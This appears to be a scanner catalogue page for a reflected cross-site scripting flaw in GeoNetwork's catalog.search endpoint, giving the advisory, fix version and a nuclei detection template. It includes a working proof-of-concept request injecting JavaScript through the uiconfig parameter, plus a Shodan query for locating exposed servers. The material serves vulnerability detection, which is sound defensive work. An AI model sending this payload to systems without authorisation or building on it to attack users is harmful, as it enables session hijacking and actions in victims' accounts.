GeoNetwork - Reflected Cross-Site Scripting

highseverity

8.2CVSS score

Readycheck to confirm it

GeoNetwork versions 4.4.5 through 4.4.11 are vulnerable to reflected cross-site scripting (XSS) in the public unauthenticated catalog search functionality. The uiconfig query parameter of the catalog.search endpoint is reflected into a JavaScript context without sufficient sanitization, allowing arbitrary JavaScript execution in a victim's browser.

Impact

An unauthenticated attacker can craft a malicious URL that executes arbitrar JavaScript when opened by a victim. If a privileged GeoNetwork user such as an administrator visits the URL, the attacker may perform actions within the security context of that user.

Fix

Upgrade GeoNetwork to version 4.4.12 or later.

How to confirm it

Send: GET {{BaseURL}}/srv/eng/catalog.search?uiconfig=%28alert%281%29%2C%7B%7D%29
Positive when: contains "(alert(1),{})" and "GnCatController" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2026-57582 -u <target>

The full check

id: CVE-2026-57582

info:
  name: GeoNetwork - Reflected Cross-Site Scripting
  author: DhiyaneshDk
  severity: high
  description: |
    GeoNetwork versions 4.4.5 through 4.4.11 are vulnerable to reflected cross-site scripting (XSS) in the public unauthenticated catalog search functionality. The uiconfig query parameter of the catalog.search endpoint is reflected into a JavaScript context without sufficient sanitization, allowing arbitrary JavaScript execution in a victim's browser.
  impact: |
    An unauthenticated attacker can craft a malicious URL that executes arbitrar JavaScript when opened by a victim. If a privileged GeoNetwork user such as an administrator visits the URL, the attacker may perform actions within the security context of that user.
  remediation: |
    Upgrade GeoNetwork to version 4.4.12 or later.
  reference:
    - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5pq9-ppfw-p83j
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-57582
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: geonetwork
    product: core-geonetwork
    framework: java
    shodan-query: html:"/srv/eng/"
  tags: cve,cve2026,geonetwork,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/srv/eng/catalog.search?uiconfig=%28alert%281%29%2C%7B%7D%29"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "(alert(1),{})"
          - "GnCatController"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
        case-insensitive: true

References

https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5pq9-ppfw-p83j

Use this check only on systems you are authorised to test. Where the data comes from